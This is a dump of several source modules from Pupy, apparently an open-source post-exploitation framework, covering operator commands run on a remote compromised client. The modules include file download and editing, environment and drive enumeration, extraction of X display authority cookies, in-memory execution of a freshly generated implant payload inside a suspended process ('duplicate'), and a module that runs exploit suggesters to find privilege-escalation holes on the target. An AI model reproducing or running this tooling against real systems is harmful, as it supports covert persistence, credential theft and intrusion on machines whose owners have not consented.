    "content": "# -*- coding: utf-8 -*-\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport sys\nfrom pupy.pupylib.PupyModule import config, PupyArgumentParser, PupyModule\n\nif sys.version_info.major > 2:\n    basestring = str\n\n__class_name__ = 'date'\n\n\n@config(cat=\"admin\")\nclass date(PupyModule):\n    \"\"\" Get current date \"\"\"\n    is_module=False\n\n    dependencies = ['pupyutils.basic_cmds']\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(prog=\"date\", description=cls.__doc__)\n\n    def run(self, args):\n        try:\n            date = self.client.remote('pupyutils.basic_cmds', 'now', False)\n            self.success(date())\n\n        except Exception as e:\n            self.error(\n                ' '.join(x for x in e.args if isinstance(x, basestring))\n            )\n"
  },
  {
    "path": "pupy/modules/display.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\n\n__class_name__=\"Display\"\n\n\n@config(compat=\"posix\", cat=\"admin\")\nclass Display(PupyModule):\n    \"\"\" Set display variable \"\"\"\n\n    dependencies = ['display']\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(prog='users', description=cls.__doc__)\n        cls.arg_parser.add_argument('-x', '--xauth', help='Path to .Xauthority')\n        cls.arg_parser.add_argument('-X', '--print-xauth', action='store_true',\n                                         help='Print xauth information for current hostname')\n        cls.arg_parser.add_argument('display', nargs='?', help='Display to use')\n\n    def run(self, args):\n        attach_to_display = self.client.remote('display', 'attach_to_display', False)\n        extract_xauth_info = self.client.remote('display', 'extract_xauth_info')\n        guess_displays = self.client.remote('display', 'guess_displays')\n\n        if args.display:\n            if attach_to_display(args.display, args.xauth):\n                self.success('Attached to {}'.format(args.display))\n                if args.print_xauth:\n                    info = extract_xauth_info(args.display)\n                    if info:\n                        family, host, display, cookie, value = info\n                        self.success('xauth: {}:{}/{} {} {}'.format(\n                            host, display, family, cookie, value\n                        ))\n                    else:\n                        self.error('xauth: entries not found')\n            else:\n                self.error('Couldn\\'t attach to {}'.format(args.display))\n        else:\n            displays = guess_displays()\n            for display, items in displays.items():\n                for item in items:\n                    self.success('{} user={} xauth={}'.format(display, item[0], item[1]))\n"
  },
  {
    "path": "pupy/modules/dns.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\nfrom pupy.pupylib.PupyOutput import Table, NewLine\n\nfrom netaddr import IPNetwork, IPAddress\nfrom netaddr.core import AddrFormatError\n\n__class_name__=\"DNS\"\n\n\n@config(cat=\"admin\")\nclass DNS(PupyModule):\n    \"\"\" retrieve domain name from IP and vice versa \"\"\"\n\n    dependencies = ['pupyutils.dns']\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(prog=\"dns\", description=cls.__doc__)\n        cls.arg_parser.add_argument('targets', type=str, nargs='+', help='Domain name or IP address')\n\n    def run(self, args):\n        launch_dns_ip_resolver = self.client.remote('pupyutils.dns', 'launch_dns_ip_resolver')\n        launch_reverse_ip_resolver = self.client.remote('pupyutils.dns', 'launch_reverse_ip_resolver', False)\n\n        add_space = False\n\n        for target in args.targets:\n            if add_space:\n                self.log(NewLine())\n\n            try:\n                address = str(IPAddress(target))\n                self.log('Resolve IP: {}'.format(target))\n                hostname = launch_reverse_ip_resolver(address)\n                if hostname:\n                    self.success('{}: {}'.format(address, hostname))\n                else:\n                    self.error('{}: Not found'.format(address))\n                add_space = True\n                continue\n            except (ValueError, AddrFormatError):\n                pass\n\n            try:\n                network = IPNetwork(target)\n                objects = []\n                self.log('Resolve Net: {} (size={})'.format(target, len(network)))\n                for ip in network:\n                    ip = str(ip)\n                    rip = launch_reverse_ip_resolver(ip)\n                    if rip:\n                        objects.append({\n                            'IP': ip,\n                            'HOSTNAME': rip\n                        })\n\n                self.success(Table(objects, ['IP', 'HOSTNAME']))\n                add_space = True\n                continue\n\n            except AddrFormatError:\n                pass\n\n            self.log('Resolve hostname: {}'.format(target))\n            known = set()\n            found = False\n\n            for k,v in launch_dns_ip_resolver(target).items():\n                if v and not type(v) == str:\n                    v = [x for x in v if x not in known]\n                    for x in v:\n                        known.add(x)\n                elif v:\n                    known.add(v)\n\n                if not v:\n                    continue\n\n                self.success('{}: {}'.format(k, v if type(v) is str else ','.join(v)))\n                found = True\n\n            if not found:\n                self.error('{}: Not found'.format(target))\n\n            add_space = True\n"
  },
  {
    "path": "pupy/modules/download.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\nfrom pupy.pupylib.PupyCompleter import remote_path_completer, path_completer\n\nfrom pupy.modules.lib.utils.download import DownloadFronted\n\nfrom os import path, devnull\nfrom subprocess import Popen\nfrom io import open\n\n__class_name__=\"DownloaderScript\"\n\n\ndef size_human_readable(num, suffix='B'):\n    try:\n        num = int(num)\n        for unit in ['','Ki','Mi','Gi','Ti','Pi','Ei','Zi']:\n            if abs(num) < 1024.0:\n                return \"%3.1f %s%s\" % (num, unit, suffix)\n            num /= 1024.0\n        return \"%.1f %s%s\" % (num, 'Yi', suffix)\n    except:\n        return '0.00 B'\n\n\n@config(category=\"manage\")\nclass DownloaderScript(PupyModule):\n    \"\"\" download a file/directory from a remote system \"\"\"\n\n    dependencies = {\n        'all': ['transfer', 'scandir', 'zipfile', 'tarfile'],\n        'windows': ['junctions']\n    }\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(prog='download', description=cls.__doc__)\n        cls.arg_parser.add_argument('-v', '--verbose', action='store_true', default=False,\n                                         help='Be verbose during download')\n        cls.arg_parser.add_argument('-O', '--open', action='store_true', default=False,\n                                         help='Open file with xdg-open')\n        cls.arg_parser.add_argument('-a', '--archive', action='store_true', default=False,\n                                         help='Store to archive (use this only for dirs)')\n        cls.arg_parser.add_argument('-C', '--chunk-size', type=int, default=1*1024, help='Max transfer chunk (Kbytes)')\n        cls.arg_parser.add_argument('-i', '--include', help='Regex to include files')\n        cls.arg_parser.add_argument('-e', '--exclude', help='Regex to exclude files')\n        cls.arg_parser.add_argument('-F', '--follow-symlinks', action='store_true', help='Follow symlinks')\n        cls.arg_parser.add_argument('-I', '--ignore-size', action='store_true', help='Ignore st_size')\n        cls.arg_parser.add_argument('-X', '--no-single-device', action='store_false', default=True,\n                                     help='Allow to touch another devices (st_rdev)')\n        cls.arg_parser.add_argument('-S', '--calculate-size', action='store_true', help='Calculate size only')\n\n        cls.arg_parser.add_argument('remote_file', metavar='<remote_path>', completer=remote_path_completer)\n        cls.arg_parser.add_argument('local_file', nargs='?', metavar='<local_path>', completer=path_completer)\n\n    def run(self, args):\n        self._downloader = DownloadFronted(\n            self.client,\n            args.exclude, args.include, args.follow_symlinks, args.ignore_size, args.no_single_device,\n            False, self.info if args.verbose else None, self.success, self.error\n        )\n\n        if args.calculate_size:\n            obj = self.client.remote('transfer')\n            count, size = self._downloader.du(args.remote_file, obj)\n            if count is not None and size is not None:\n                self.success('Files: {} Size: {}'.format(count, size_human_readable(size)))\n        else:\n            self._downloader.download(\n                args.remote_file,\n                args.local_file,\n                args.archive,\n                args.chunk_size * 1024\n            )\n\n            if args.verbose:\n                self.info('Destination folder: {}'.format(self._downloader.dest_file))\n\n            if args.open and path.exists(self._downloader.dest_file):\n                viewer = self.config.get('default_viewers', 'xdg_open') or 'xdg-open'\n                if args.verbose:\n                    self.info('Open file {} with {}'.format(self._downloader.dest_file, viewer))\n\n                with open(devnull, 'wb') as DEVNULL:\n                    Popen(\n                        [viewer, self._downloader.dest_file],\n                        stdin=DEVNULL, stdout=DEVNULL, stderr=DEVNULL)\n\n    def interrupt(self):\n        if self._downloader:\n            self._downloader.interrupt()\n"
  },
  {
    "path": "pupy/modules/drives.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\nfrom pupy.pupylib.PupyOutput import Table, MultiPart\nfrom pupy.pupylib.utils.term import colorize\nfrom pupy.modules.lib import size_human_readable\n\n__class_name__=\"Drives\"\n\n\n@config(category='admin', compatibilities=['windows', 'posix', 'darwin'])\nclass Drives(PupyModule):\n    \"\"\" List valid drives in the system \"\"\"\n\n    dependencies={\n        'all': ['psutil'],\n        'posix': ['mount'],\n        'windows': [\n            'pupyps', 'netresources',\n        ],\n    }\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(\n            prog=\"drives\",\n            description=cls.__doc__\n        )\n\n    def run(self, args):\n        if self.client.is_posix():\n            tier1 = ('network', 'fuse', 'dm', 'block', 'vm')\n\n            mounts = self.client.remote('mount', 'mounts')\n            getuid = self.client.remote('os', 'getuid')\n            getgid = self.client.remote('os', 'getgid')\n\n            mountinfo = mounts()\n            uid = getuid()\n            gid = getgid()\n\n            option_colors = {\n                'rw': 'yellow',\n                'nosuid': 'grey',\n                'nodev': 'grey',\n                'noexec': 'lightgreen',\n                'uid': {\n                    '0': 'green',\n                    str(uid): 'red'\n                },\n                'gid': {\n                    '0': 'green',\n                    str(gid): 'red'\n                },\n                'ro': 'green',\n                'user_id': {\n                    '0':'green',\n                    str(uid): 'red'\n                },\n                'group_id': {\n                    '0':'green',\n                    str(gid): 'red'\n                },\n                'allow_other': 'yellow',\n                'xattr': 'yellow',\n                'acl': 'yellow',\n                'username': 'red',\n                'domain': 'red',\n                'forceuid': 'yellow',\n                'forcegid': 'yellow',\n                'addr': 'red',\n                'unix': 'red'\n            }\n\n            def colorize_option(option):\n                if len(option) > 1:\n                    k, v = option\n                else:\n                    k = option[0]\n                    v = None\n\n                color = option_colors.get(k)\n                if color:\n                    if type(color) == dict:\n                        if v in color:\n                            return colorize(\n                                '='.join([x for x in [k, v] if x]), color.get(v)\n                            )\n                        else:\n                            return '='.join([x for x in [k, v] if x])\n                    else:\n                        return colorize(\n                            '='.join([x for x in [k, v] if x]), color\n                        )\n                else:\n                    return '='.join([x for x in [k, v] if x])\n\n            output = []\n\n            for fstype in mountinfo:\n                if fstype in tier1:\n                    continue\n\n                output.append('{}:'.format(colorize(fstype, 'yellow')))\n\n                dst_max = max([len(x['dst']) for x in mountinfo[fstype]])\n                fsname_max = max([len(x['fsname']) for x in mountinfo[fstype]])\n                free_max = max([len(x['hfree']) if x['total'] else 0 for x in mountinfo[fstype]])\n\n                for info in mountinfo[fstype]:\n                    fmt = '{{:<{}}} {{:<{}}} {{:>{}}} {{}}'.format(\n                        dst_max, fsname_max, (free_max + 3 + 4) if free_max else 0\n                    )\n\n                    output.append(\n                        fmt.format(\n                            info['dst'], info['fsname'], (\n                                colorize(\n                                    ('{{:>3}}% ({{:>{}}})'.format(free_max)).format(\n                                        info['pused'], info['hfree']\n                                    ),\n                                    'white' if info['pused'] < 90 else 'yellow'\n                                )\n                            ) if info['total'] else '',\n                            ','.join([colorize_option(option) for option in info['options']])\n                        )\n                    )\n\n                output.append('')\n\n            for fstype in tier1:\n                if fstype not in mountinfo:\n                    continue\n\n                src_max = max([len(x['src']) for x in mountinfo[fstype]])\n                dst_max = max([len(x['dst']) for x in mountinfo[fstype]])\n                fsname_max = max([len(x['fsname']) for x in mountinfo[fstype]])\n                free_max = max([len(x['hfree']) if x['total'] else 0 for x in mountinfo[fstype]])\n\n                output.append('{}:'.format(colorize(fstype, 'green')))\n                for info in mountinfo[fstype]:\n                    fmt = '{{:<{}}} {{:<{}}} {{:<{}}} {{:>{}}} {{}}'.format(\n                        dst_max, src_max, fsname_max, (free_max + 3 + 4) if free_max else 0\n                    )\n\n                    output.append(\n                        fmt.format(\n                            info['dst'], info['src'], info['fsname'], (\n                                colorize(\n                                    ('{{:>3}}% ({{:>{}}})'.format(free_max)).format(\n                                        info['pused'], info['hfree']\n                                    ),\n                                    'white' if info['pused'] < 90 else 'yellow'\n                                )\n                            ) if info['total'] else '',\n                            ','.join([colorize_option(option) for option in info['options']])\n                        )\n                    )\n\n                output.append('')\n\n            self.log('\\n'.join(output))\n\n        elif self.client.is_windows():\n            list_drives = self.client.remote('pupyps', 'drives')\n            EnumNetResources = self.client.remote('netresources', 'EnumNetResources')\n            drives = list_drives()\n\n            formatted_drives = []\n            parts = []\n\n            for drive in drives:\n                formatted_drives.append({\n                    'MP': drive['mountpoint'],\n                    'FS': drive['fstype'],\n                    'OPTS': drive['opts'],\n                    'USED': (\n                        '{}% ({}/{})'.format(\n                            drive['percent'],\n                            size_human_readable(drive['used']),\n                            size_human_readable(drive['total']))\n                    ) if ('used' in drive and 'total' in drive) else '?'\n                })\n\n            parts.append(Table(formatted_drives, ['MP', 'FS', 'OPTS', 'USED']))\n\n            providers = {}\n\n            net_resources = EnumNetResources()\n            for resource in net_resources:\n                if resource['provider'] not in providers:\n                    providers[resource['provider']] = []\n\n                if 'used' in resource:\n                    resource['used'] = '{}% ({}/{})'.format(\n                        resource['percent'],\n                        size_human_readable(resource['used']),\n                        size_human_readable(resource['total'])\n                    )\n                else:\n                    resource['used'] = '?'\n\n                providers[resource['provider']].append(dict(\n                    (k, v) for k, v in resource.items() if k not in (\n                        'usage', 'provider', 'scope'\n                    )\n                ))\n\n            for provider, records in providers.items():\n\n                parts.append(\n                    Table(records, [\n                        'remote', 'local', 'type', 'used'\n                    ], caption=provider))\n\n            self.log(MultiPart(parts))\n"
  },
  {
    "path": "pupy/modules/duplicate.py",
    "content": "# -*- coding: utf-8 -*-\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# Pupy is under the BSD 3-Clause license. see the LICENSE\n# file at the root of the project for the detailed licence terms\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\nfrom pupy.modules.lib.windows.memory_exec import exec_pe\nfrom pupy.modules.lib.linux.exec_elf import mexec\n\nfrom pupy.cli import pupygen\n\n__class_name__ = 'MemoryDuplicate'\n\n\n@config(compatibilities=[\"windows\", \"linux\"], category=\"manage\")\nclass MemoryDuplicate(PupyModule):\n    \"\"\"\n        Duplicate the current pupy payload by executing it from memory\n    \"\"\"\n    interactive = 1\n    dependencies = {\n        'linux': ['memexec'],\n        'windows': ['pupwinutils.memexec', 'pupwinutils.processes']\n    }\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(\n            prog='duplicate', description=cls.__doc__\n        )\n        cls.arg_parser.add_argument(\n            '-p', '--process', default='cmd.exe',\n            help='process to start suspended'\n        )\n        cls.arg_parser.add_argument(\n            '--port',\n            help='port to listen on (bind launcher only)'\n        )\n        cls.arg_parser.add_argument(\n            '-m', '--impersonate', action='store_true',\n            help='use the current impersonated token '\n            '(to use with impersonate module, windows only)'\n        )\n\n    def run(self, args):\n        # usefull for bind connection\n        launcherType = self.client.desc['launcher']\n        addressPort = self.client.desc['address']\n\n        newClientConf = self.client.get_conf()\n\n        listeningAddressPort = None  # For Bind mode\n        if launcherType == 'bind':\n            if args.port is None or args.port == addressPort:\n                self.error(\n                    'Current instance listens on the {0} port'.format(\n                        addressPort\n                    )\n                )\n\n                self.error(\n                    'For the duplication, you have to choose another '\n                    'port and it will listen on this new specific port '\n                    'on the target'\n                )\n\n                self.error(\n                    'Be careful, you have to choose a port which is not '\n                    'used on the target and allowed by firewall!'\n                )\n\n                return\n\n            listeningAddress = addressPort.split(':')[0]\n            listeningAddressPort = \"{0}:{1}\".format(\n                listeningAddress, args.port\n            )\n\n            self.info(\n                'The new pupy instance will listen on {0} '\n                'on the target'.format(listeningAddressPort)\n            )\n\n            newClientConf = self.client.get_conf()\n            # Modify the listening port on the conf. If it is not modified,\n            # the payload will listen on the same port as the inital pupy\n            # launcher on the target\n\n            newClientConf['launcher_args'][\n                newClientConf['launcher_args'].index(\n                    '--port') + 1] = str(args.port)\n\n            # Delete --oneliner-host argument, not compatible with exe payload\n            for pos, val in enumerate(newClientConf['launcher_args']):\n                if '--oneliner-host' in val:\n                    newClientConf['launcher_args'][pos] = ''\n                    newClientConf['launcher_args'][pos+1] = ''\n\n        self.success('Generating the payload...')\n        payload, tpl, _ = pupygen.generate_binary_from_template(\n            self.log, newClientConf, self.client.target\n        )\n\n        self.success(\n            'Payload generated with the current config '\n            'from {} - size={}'.format(tpl, len(payload))\n        )\n\n        self.success('Executing the payload from memory ...')\n        if self.client.is_windows():\n            exec_pe(\n                self, '', raw_pe=payload, interactive=False,\n                use_impersonation=args.impersonate,\n                suspended_process=args.process,\n                wait=False\n            )\n        elif self.client.is_linux():\n            mexec(self, payload, [], argv0='/bin/bash', raw=True)\n\n        self.success(\"pupy payload executed from memory\")\n        if launcherType == 'bind':\n            self.success(\n                'You have to connect to the target manually on {0}: '\n                'try \"connect --host {0}\" in pupy shell'.format(\n                    listeningAddressPort)\n            )\n"
  },
  {
    "path": "pupy/modules/echo.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom threading import Event\n\nfrom pupy.pupylib.PupyModule import PupyModule, PupyArgumentParser\n\n\n__class_name__ = 'Echo'\n\n\nclass Echo(PupyModule):\n    'Check egress (TCP/UDP) using remote echo server'\n\n    __slots__ = ('_wait', '_abort')\n\n    dependencies = {\n        'all': ['network.lib.echo']\n    }\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(prog='echo', description=cls.__doc__)\n        cls.arg_parser.add_argument(\n            'host', type=str, help='IP address of pupy\\'s Echo server')\n        cls.arg_parser.add_argument(\n            '-n', '--amount', type=int, default=4,\n            help='Search at least this amount of ports before exit')\n\n    def interrupt(self):\n        self._abort()\n        self._wait.set()\n\n    def run(self, args):\n        echo = self.client.remote('network.lib.echo', 'echo', False)\n\n        self._wait = Event()\n\n        def on_completed(tcp, http, udp):\n            if self._wait.is_set():\n                return\n\n            if not any([tcp, http, udp]):\n                self.warning('No connectable ports found')\n                self._wait.set()\n                return\n\n            if tcp:\n                self.success(\n                    'TCP: {}'.format(','.join(str(x) for x in tcp)))\n\n            if http:\n                self.success(\n                    'HTTP: {}'.format(','.join(str(x) for x in http)))\n\n            if udp:\n                self.success(\n                    'UDP: {}'.format(','.join(str(x) for x in udp)))\n\n            self._wait.set()\n\n        self._abort = echo(args.host, args.amount, on_completed)\n        self._wait.wait()\n"
  },
  {
    "path": "pupy/modules/edit.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\nfrom pupy.pupylib.PupyCompleter import remote_path_completer\n\nfrom os.path import splitext, basename\nfrom os import environ\n\nimport hashlib\nimport tempfile\nimport subprocess\n\nfrom pupy.network.lib.convcompat import shlex\n\n__class_name__ = 'Edit'\n\n\n@config(cat='manage')\nclass Edit(PupyModule):\n    ''' Edit remote file locally (download->edit->upload) '''\n\n    dependencies = ['pupyutils.basic_cmds']\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(\n            prog='edit', description=cls.__doc__\n        )\n        cls.arg_parser.add_argument(\n            'remote_file', metavar='<remote_path>',\n            completer=remote_path_completer)\n\n    def run(self, args):\n        fgetcontent = self.client.remote(\n            'pupyutils.basic_cmds', 'fgetcontent', False\n        )\n\n        fputcontent = self.client.remote(\n            'pupyutils.basic_cmds', 'fputcontent', False\n        )\n\n        base, ext = splitext(args.remote_file)\n\n        with tempfile.NamedTemporaryFile(\n                suffix=ext, prefix=basename(base)) as local:\n            content = fgetcontent(args.remote_file)\n            h1 = hashlib.md5(content).digest()\n            local.write(content)\n            local.flush()\n\n            del content\n\n            editor = self.config.get('default_viewers', 'editor')\n            if not editor:\n                editor = environ.get('EDITOR', 'vi')\n\n            cmdline = shlex.split(editor)\n            f_found = False\n\n            for i, pos in enumerate(cmdline):\n                if '%f' in pos:\n                    cmdline[i] = pos.replace('%f', local.name)\n                    f_found = True\n\n            if not f_found:\n                cmdline.append(local.name)\n\n            subprocess.check_call(cmdline)\n\n            local.seek(0)\n            content = local.read()\n            h2 = hashlib.md5(content).digest()\n\n            if h1 != h2:\n                fputcontent(args.remote_file, content)\n"
  },
  {
    "path": "pupy/modules/env.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\nfrom pupy.pupylib.PupyOutput import Table, TruncateToTerm\n\nfrom pupy.network.lib.convcompat import as_escaped_string\n\n\n__class_name__='Env'\n@config(cat='manage')\nclass Env(PupyModule):\n    ''' List/Get/Set/Unset client environment variables '''\n\n    dependencies = ['pupyutils.basic_cmds']\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(\n            prog='env', description=cls.__doc__\n        )\n\n        commands = cls.arg_parser.add_subparsers(dest=\"command\")\n        cls.arg_parser.set_defaults(func=cls.listenv)\n\n        setenv = commands.add_parser('set')\n        setenv.add_argument('name', help='Environment variable name')\n        setenv.add_argument('value', help='Environment variable value')\n        setenv.set_defaults(func=cls.setenv)\n\n        getenv = commands.add_parser('get')\n        getenv.add_argument('name', help='Environment variable name')\n        getenv.set_defaults(func=cls.getenv)\n\n        unsetenv = commands.add_parser('unset')\n        unsetenv.add_argument('name', help='Environment variable name')\n        unsetenv.set_defaults(func=cls.unsetenv)\n\n        listenv = commands.add_parser('list')\n        listenv.set_defaults(func=cls.listenv)\n\n    def run(self, args):\n        environ = self.client.remote('pupyutils.basic_cmds', 'env')\n        args.func(self, args, environ)\n\n    def setenv(self, args, environ):\n        environ(args.name, args.value)\n\n    def getenv(self, args, environ):\n        value = environ(args.name)\n        if value is None:\n            self.error('No such variable')\n        else:\n            self.log(value)\n\n    def unsetenv(self, args, environ):\n        environ(args.name, None)\n\n    def listenv(self, args, environ):\n        self.log(TruncateToTerm(Table([\n            {\n                'VAR': k, 'VAL': as_escaped_string(v)\n            } for (k, v) in environ()\n        ], ['VAR', 'VAL'], legend=False)))\n"
  },
  {
    "path": "pupy/modules/exit.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom pupy.pupylib.PupyModule import PupyModule, PupyArgumentParser\nfrom pupy.pupylib.PupyErrors import PupyModuleError\n\n__class_name__=\"ExitModule\"\n\nclass ExitModule(PupyModule):\n    \"\"\" exit the client on the other side \"\"\"\n    is_module=False\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(prog=\"exit\", description=cls.__doc__)\n        cls.arg_parser.add_argument('--yes', action=\"store_true\", help='exit confirmation')\n\n    def run(self, args):\n        if args.yes:\n            try:\n                self.client.conn.exit()\n            except Exception:\n                pass\n        else:\n            raise PupyModuleError('Please conform with --yes to perform this action.')\n"
  },
  {
    "path": "pupy/modules/exploit_suggester.py",
    "content": "# -*- coding: utf-8 -*-\n# Thanks to the awesome tools:\n# - Windows Exploit Suggester - Next Generation: https://github.com/bitsadmin/wesng\n# - linux-exploit-suggester: https://github.com/mzet-/linux-exploit-suggester\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport sys\nimport os\nimport imp\nimport threading\n\nfrom io import open\n\nif sys.version_info.major > 2:\n    from urllib.request import urlopen\nelse:\n    from urllib2 import urlopen\n\n\nfrom zipfile import BadZipfile\n\nfrom pupy.pupylib import ROOT\nfrom pupy.pupylib.PupyOutput import List, Table, Color, MultiPart, NewLine\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\n\n__class_name__ = 'Exploit_Suggester'\n\nLINUX_EXPLOIT_SUGGESTER_PATH = os.path.join(\n    ROOT, 'external', 'linux-exploit-suggester', 'linux-exploit-suggester.sh'\n)\n\nWES_PATH = os.path.join(\n    ROOT, 'external', 'wesng', 'wes.py'\n)\n\nWES_DEFINITIONS = 'https://raw.githubusercontent.com/bitsadmin/wesng/master/definitions.zip'\nWES_LOCAL_FILE = 'wes-defintions.zip'\n\n\n@config(compat=['linux', 'windows'], category='exploit')\nclass Exploit_Suggester(PupyModule):\n    ''' Exploit suggester '''\n\n    terminate_pipe = None\n    terminated = False\n\n    dependencies = ['pupyutils.safepopen']\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(prog='Exploit_Suggester', description=cls.__doc__)\n        cls.arg_parser.add_argument(\n            '-no-recent-kb', default=False, action='store_true',\n            help='Do not filter findings by most recent KB date')\n        cls.arg_parser.add_argument(\n            '--hide', nargs='+', default='',\n            help='(WES only) Hide vulnerabilities of for example Adobe Flash Player and Microsoft Edge')\n        cls.arg_parser.add_argument(\n            '--update', action='store_true', default=False,\n            help='(WES only) Update Windows database (Internet access required on pupy server host)')\n\n    def run(self, args):\n        close_event = threading.Event()\n        result = []\n\n        cmdargs = None\n        kwargs = None\n\n        definitions = None\n\n        safe_exec = self.client.remote('pupyutils.safepopen', 'safe_exec', False)\n\n        if self.client.is_linux():\n            payload = open(LINUX_EXPLOIT_SUGGESTER_PATH, 'rb').read()\n            cmdargs = ['/bin/bash']\n            kwargs = (('stdin_data', payload),)\n        else:\n            definitions = os.path.join(\n                self.config.get_folder('plugins'), WES_LOCAL_FILE\n            )\n\n            if not os.path.isfile(definitions) or args.update:\n                self.info('Updating WES defintions from {}'.format(WES_DEFINITIONS))\n                try:\n                    response = urlopen(WES_DEFINITIONS)\n                    with open(definitions, 'w+b') as out:\n                        while True:\n                            block = response.read(32768)\n                            if not block:\n                                break\n\n                            out.write(block)\n\n                except Exception as e:\n                    self.error('Update failed: {}'.format(e))\n\n                    if os.path.isfile(definitions):\n                        try:\n                            os.unlink(definitions)\n                        except (OSError, IOError):\n                            pass\n\n                    return\n\n                self.info('Update completed ({})'.format(definitions))\n\n            expandvars = self.client.remote('os.path', 'expandvars')\n            systeminfo = expandvars(r'%WINDIR%\\System32\\systeminfo.exe')\n            cmdargs = [systeminfo]\n            kwargs = tuple()\n\n        self.info('Execute payload ({})'.format(' '.join(cmdargs)))\n        self.terminate_pipe, get_returncode = safe_exec(\n            result.append, close_event.set, cmdargs, kwargs\n        )\n\n        close_event.wait()\n        retcode = get_returncode()\n\n        if retcode != 0:\n            self.warning('Ret: {}'.format(retcode))\n        else:\n            self.success('Done')\n\n        result = ''.join(result)\n\n        if not result:\n            self.error('No data')\n            return\n\n        if self.client.is_linux():\n            self.log(result)\n            return\n\n        wes = imp.load_source('wes', WES_PATH)\n\n        try:\n            cves, date = wes.load_definitions(definitions)\n        except BadZipfile:\n            self.error(\n                'Defintions were downloaded incorrectly ({})'.format(\n                    definitions))\n            return\n\n        productfilter, win, mybuild, version, arch, hotfixes = \\\n          wes.determine_product(result)\n\n        self.log(\n            List([\n                'Definitions: ' + str(date),\n                'Name: ' + productfilter,\n                'Generation: ' + (win or 'N/A'),\n                'Build: ' + (str(mybuild) if mybuild else 'N/A'),\n                'Version: ' + (str(version) or 'N/A'),\n                'Architecture: ' + arch,\n                'Hotfixes: ' + ', '.join([\n                    'KB%s' % kb for kb in hotfixes\n                ])\n            ], caption='Operating System')\n        )\n\n        try:\n            filtered, found = wes.determine_missing_patches(\n                productfilter, cves, hotfixes)\n        except wes.WesException as e:\n            self.error(e.msg)\n            return\n\n        if not args.no_recent_kb:\n            recentkb = wes.get_most_recent_kb(found)\n            if recentkb:\n                recentdate = int(recentkb['DatePosted'])\n                found = list(filter(lambda kb: int(kb['DatePosted']) >= recentdate, found))\n\n        if 'Windows Server' in productfilter:\n            self.info('Filtering duplicate vulnerabilities')\n            found = wes.filter_duplicates(found)\n\n        filtered = wes.apply_display_filters(found, args.hide, True, [], [])\n        if not filtered:\n            self.info('No vulnerabilities found')\n            return\n\n        results = {}\n        proposed = set()\n\n        for res in filtered:\n            exploits = res['Exploits'].split(',')\n            for exploit in exploits:\n                exploit = exploit.strip()\n                if exploit in proposed:\n                    continue\n\n                proposed.add(exploit)\n\n                impact = ''.join(part[0] for part in res['Impact'].split())\n                color = 'white'\n                if impact == 'ID':\n                    color = 'grey'\n                elif res['Severity'] == 'Critical' or impact in ('RCE', 'EoP'):\n                    color = 'lightred'\n                elif res['Severity'] == 'Important':\n                    color = 'lightyellow'\n\n                title = (res['AffectedComponent'] + ' / ' + res['AffectedProduct']) \\\n                  if res['AffectedComponent'] else res['AffectedProduct']\n\n                if title not in results:\n                    results[title] = []\n\n                results[title].append({\n                    'CVE': Color(res['CVE'], color),\n                    'Date': res['DatePosted'],\n                    'Impact': impact,\n                    'Exploit': exploit\n                })\n\n        tables = [NewLine()]\n        for component in results:\n            cves = results[component]\n            tables.append(\n                Table(cves, ['CVE', 'Date', 'Impact', 'Exploit'], component))\n\n        self.log(MultiPart(tables))\n\n    def interrupt(self):\n        if not self.terminated and self.terminate_pipe:\n            self.terminated = True\n            self.error('Stopping command')\n            self.terminate_pipe()\n            self.error('Stopped')\n"
  },
